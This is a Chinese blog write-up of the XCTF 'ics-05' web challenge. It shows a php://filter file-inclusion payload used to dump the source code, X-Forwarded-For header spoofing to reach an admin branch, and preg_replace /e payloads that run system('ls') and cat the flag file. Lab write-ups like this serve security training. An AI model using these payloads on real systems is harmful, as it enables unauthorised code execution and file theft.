当前位置:网站首页>xctf攻防世界 Web高手进阶区 ics-05
xctf攻防世界 Web高手进阶区 ics-05
2022-08-09 21:54:00 【l8947943】
0x01. 进入环境,查看内容
如图:
给了一张乱七八糟的图,只有设备维护中心可以点击,如图:

看不出什么内容,再次点击云平台设备维护中心,发现url有猫腻,如图:

emmm,看到此处,显示了一个index,猜测page肯定是重点。
0x02. 问题分析
0x02_1. php伪协议
什么是php伪协议?这里我参考大佬总结博客:
PHP伪协议详解
page参数一般是文件包含,利用php伪协议读出源码并把它base64编码输出(要不然就直接在网页上执行看不到源码了),这里的命令是:
/index.php?page=php://filter/read=convert.base64-encode/resource=index.php
前端返回结果如图:
明显的base64编码,丢入base64解码,得到一个php解码文件,如图:
我们将代码拷出来,进行后续的分析。
0x02_2. 代码分析
截取部分有用代码进行分析,如下:
<?php
$page = $_GET[page]; # 拿到url中传递的 page参数
if (isset($page)) {
# 要求拿到的page参数不为空
if (ctype_alnum($page)) {
# ctype_alnum检查$page是否都是字母数字,若都是字母数字则返回ture
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p> # 显示page内容
<br /><br /><br /><br />
<?php
}else{
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php
if (strpos($page, 'input') > 0) {
#返回input在$page中出现的第一个匹配的位置,若未找到返回flase
die();
}
if (strpos($page, 'ta:text') > 0) {
die();
}
if (strpos($page, 'text') > 0) {
die();
}
if ($page === 'index.php') {
# #返回index.php在$page中出现的第一个匹配的位置,若未找到返回flase
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />
<?php
}}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
# 此段代码表示,提交过来的参数携带X_FORWARDED_FOR=127.0.0.1,则执行如下代码
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
# 参数中包含pat参数,rep参数,sub参数
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
# 要求pat、rep、sub参数都不为空
if (isset($pattern) && isset($replacement) && isset($subject)) {
# 调用preg_replace( mixed $pattern , mixed $replacement , mixed $subject)函数,其中
# $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
# $replacement: 用于替换的字符串或字符串数组。
# $subject: 要搜索替换的目标字符串或字符串数组。
# 注意,pattern后添加/e 修正符,则会使 preg_replace() 将 replacement 参数当作 PHP 代码。
# 提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含preg_replace() 的行中出现语法解析错误。
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>
</body>
</html>
0x02_3. 构造payload
在burpsuite中添加x-forwarded-for: 127.0.0.1,如图,得到Welcome My Admin !
接着构造pat等参数,payload如下:
/index.php?pat=/123/e&rep=system('ls')&sub=123

发现有s3chahahaDir文件,构造payload如下:
/index.php?pat=/123/e&rep=system('ls+s3chahahaDir')&sub=123
返回结果如图:
发现有个flag文件夹,那么我们继续查看,构造payload:
/index.php?pat=/123/e&rep=system('ls+s3chahahaDir/flag')&sub=123
返回结果如图:
出现了一个flag.php文件,继续构造payload如下:
/index.php?pat=/123/e&rep=system('cat+s3chahahaDir/flag/flag.php')&sub=123
返回结果如图:
0x02_4. 得到最终答案
最终答案为: cyberpeace{0002b4d7b2d0858ebb6e13df4b966bd2}
0x03. 总结
这个题目后面不难,最难的是一开始使用php伪协议,其次是php代码审计。这儿是知识盲区,慢慢积累吧
边栏推荐
- This article lets you quickly understand implicit type conversion [integral promotion]!
- navicat 快捷键
- Interpretation of the paper (DropEdge) "DropEdge: Towards Deep Graph Convolutional Networks on Node Classification"
- 蔚来杯2022牛客暑期多校训练营7 CFGJ
- APP automation test framework - UiAutomator2 introductory
- Use convert_to_tensor in Tensorflow to specify the type of data
- MLOps的演进历程
- 5个 Istio 访问外部服务流量控制最常用的例子,你知道几个?
- JS–比想象中简单
- JSON 基本使用
猜你喜欢
Quotefancy ,提供鼓舞人心语录的壁纸网站 - 倾城之链

从产品角度看 L2 应用:为什么说这是一个游乐场?

CVPR22 Oral | shunt through multi-scale token polymerization from attention, code is open source

2022年中国第三方证券APP创新专题分析
![This article lets you quickly understand implicit type conversion [integral promotion]!](/img/16/4edc7ef23384b22d50ebd894b8911a.png)
This article lets you quickly understand implicit type conversion [integral promotion]!

Multiple reasons for MySQL slow query

js十五道面试题(含答案)

Space not freed after TRUNCATE table

Install win virtual machine on VMware

深度剖析 Apache EventMesh 云原生分布式事件驱动架构
随机推荐
Usage of placeholder function in Tensorflow
阿里云架构师金云龙:基于云XR平台的视觉计算应用部署
Several ways to draw timeline diagrams
Leetcode 93 复原IP地址
跨端技术方案选什么好?
Under the NVM node installation;The node environment variable configuration
Pagoda measurement - building LightPicture open source map bed system
简单问题窥见数学
mysql 找不到或无法加载已注册的 .Net Framework Data Provider。
[Microservice~Nacos] Nacos service provider and service consumer
【微服务~Nacos】Nacos服务提供者和服务消费者
重装系统后新建文本文档打不开怎么办
SQLi-LABS Page-2 (Adv Injections)
FileZilla搭建FTP服务器图解教程
阿里云架构师金云龙:基于云XR平台的视觉计算应用部署
JS解混淆-AST还原案例
LeetCode26:删除有序数组中的重复项
STC8H Development (15): GPIO Drives Ci24R1 Wireless Module
Interviewer: How to deal with Redis big key?
OpenMLDB + Jupyter Notebook:快速搭建机器学习应用